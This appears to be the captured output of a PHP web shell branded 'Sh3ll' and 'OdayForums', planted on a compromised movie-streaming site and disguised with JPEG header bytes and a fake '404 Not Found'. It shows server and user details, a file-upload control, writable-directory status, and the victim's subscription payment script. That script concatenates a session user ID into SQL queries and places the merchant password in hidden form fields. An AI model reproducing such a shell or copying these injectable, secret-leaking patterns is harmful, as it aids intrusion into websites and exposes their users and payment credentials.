ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : LiteSpeed
System : Linux v2202501248978307069 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
User : voirf6718 ( 1002)
PHP Version : 7.3.33-1+focal
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Directory :  /home/voirfilmshd-gratuit.site/public_html/public_html/subscription/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/voirfilmshd-gratuit.site/public_html/public_html/subscription/index.php
<?php

session_start();

require_once __DIR__ . '/init.php';


$goToPayment = false; //Défini si le formulaire Maxicash devrait être affiché sur la page

//je sauve l'ID utilisateur dans la session et je le cache afin qu'il ne soit pas modifié par l'utilisateur
if (isset($_GET['user_id'])) {
    $_SESSION['user_id'] = $_GET['user_id'];
    header('Location: index.php');
}

$req = $db->query('SELECT * FROM pack_table');

$packs = $req->fetchAll(PDO::FETCH_ASSOC);

$req->closeCursor();

$req = $db->prepare('SELECT * FROM fos_user_table where id = ?');
$req->execute(array($_SESSION['user_id']));
$user = $req->fetch();

$user_id = $_SESSION['user_id'] ?? 0;

$req = $db->query('SELECT * FROM subscription_table WHERE user_id = ' . $user_id . " ORDER BY created DESC LIMIT 3");

$subscriptions = $req->fetchAll();

$req = $db->query('SELECT * FROM subscription_table WHERE user_id = ' . $user_id . ' AND expired IS NOT NULL AND expired  > NOW() AND status = "paid"');

$active_subscriptions = $req->fetchAll();

//Le traitement lors du choix du pack se fait à partir d'ici
if (!empty($_POST['pack'])) {
    $pack = current(array_filter($packs, function ($item) {
        return $item['id'] == $_POST['pack'];
    }));

    if (empty($pack)) {
        die('Pack invalide. Veuillez réessayer plus tard');
    }

    $email = filter_var($user['email'], FILTER_VALIDATE_EMAIL) ? $user['email'] : null;
    $sql = sprintf(
        'INSERT INTO subscription_table SET user_id = %d, created = NOW(), duration = %d, method = "maxicash", pack= %d, status = "pedding", currency = "USD", price = %d, email = "' . $email . '"',
        $user['id'],
        $pack['duration'],
        $pack['id'],
        $pack['price']
    );
    if ($db->exec(
        $sql
    )) {
        $req = $db->query("SELECT MAX(id) FROM subscription_table LIMIT 1");

        $subscription = $req->fetch();

        $goToPayment = true;

        unset($_SESSION['user_id']); //je déconnecte l'utilisateur
    }
}

?>

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>Tarif</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
    <link rel="stylesheet" href="web/style.css">
</head>

<body>
    <section>
        <div class="container-fluid">
            <div class="container">
                <div class="row">
                    <?php if (!empty($user)) : ?>
                        <p class="text-center">Bonjour <?= $user['name'] ?></p>

                        <hr>
                        <?php if (!empty($subscriptions)) : ?>
                            <div style="width: 490px; margin: auto">
                                <?php if (!empty($active = current($active_subscriptions))) : ?>
                                    Abonnement actif : <?= $active['price'] . '$' ?> <strong>validité</strong> : <?= date('d-m-Y', strtotime($active['expired'])) ?>
                                <?php else : ?>
                                    <div class="alert alert-warning">Pas d'abonnement actif</div>
                                <?php endif ?>
                                <h4>Dernières transactions</h4>
                                <ul class="list-group">
                                    <?php foreach ($subscriptions as $subscription) : ?>
                                        <li class="list-group-item">
                                            <span class="text-muted"><?= date('d-m-Y', strtotime($subscription['created'])) ?>
                                            </span> <?= $subscription['price'] ?>$
                                            <span class="badge" <?= $subscription['status'] == "paid"  ? 'style="background: green"' : "" ?>><?= $subscription['status'] ?></span>
                                        </li>
                                    <?php endforeach ?>
                                </ul>
                            </div>
                            <hr>
                        <?php endif ?>
                        
                </div>
            <?php else : ?>
                <p>Veuillez cliquer sur le bouton "Payer" depuis l'application</p>
            <?php endif ?>
            </div>
        </div>
    </section>
    <?php if ($goToPayment) : ?>
        <form id="go" action="https://api-testbed.maxicashapp.com/PayEntryPost" method="POST">
            <input type="hidden" name="PayType" value="MaxiCash">
            <input type="hidden" name="Amount" value="<?= $pack['price'] * 100 ?>">
            <input type="hidden" name="Currency" value="MaxiDollar">
            <input type="hidden" name="Telephone" value="">
            <input type="hidden" name="Email" value="<?= $pack['email'] ?>">

            <input type="hidden" name="MerchantID" value="<?= MERCHANT_ID ?>">
            <input type="hidden" name="MerchantPassword" value="<?= MERCHANT_PASSWORD ?>">
            <input type="hidden" name="Language" value="Fr">
            <input type="hidden" name="Reference" value="<?= $subscription[0] ?>">
            <input type="hidden" name="accepturl" value="<?= SUCCESS_URL ?>">
            <input type="hidden" name="cancelurl" value="<?= CANCEL_URL ?>">
            <input type="hidden" name="declineurl" value="<?= FAILURE_URL ?>">
            <input type="hidden" name="notifyurl" value="<?= NOTIFY_URL ?>">
        </form>
        <script>
            document.addEventListener('DOMContentLoaded', function(e) {
                document.getElementById('go').submit();
            });
        </script>
    <?php endif ?>

    <script>
        for (let item of document.querySelectorAll('img.submit')) {
            item.addEventListener('click', e => {
                alert('go')
            })
        }
    </script>
</body>

</html>

ZeroDay Forums Mini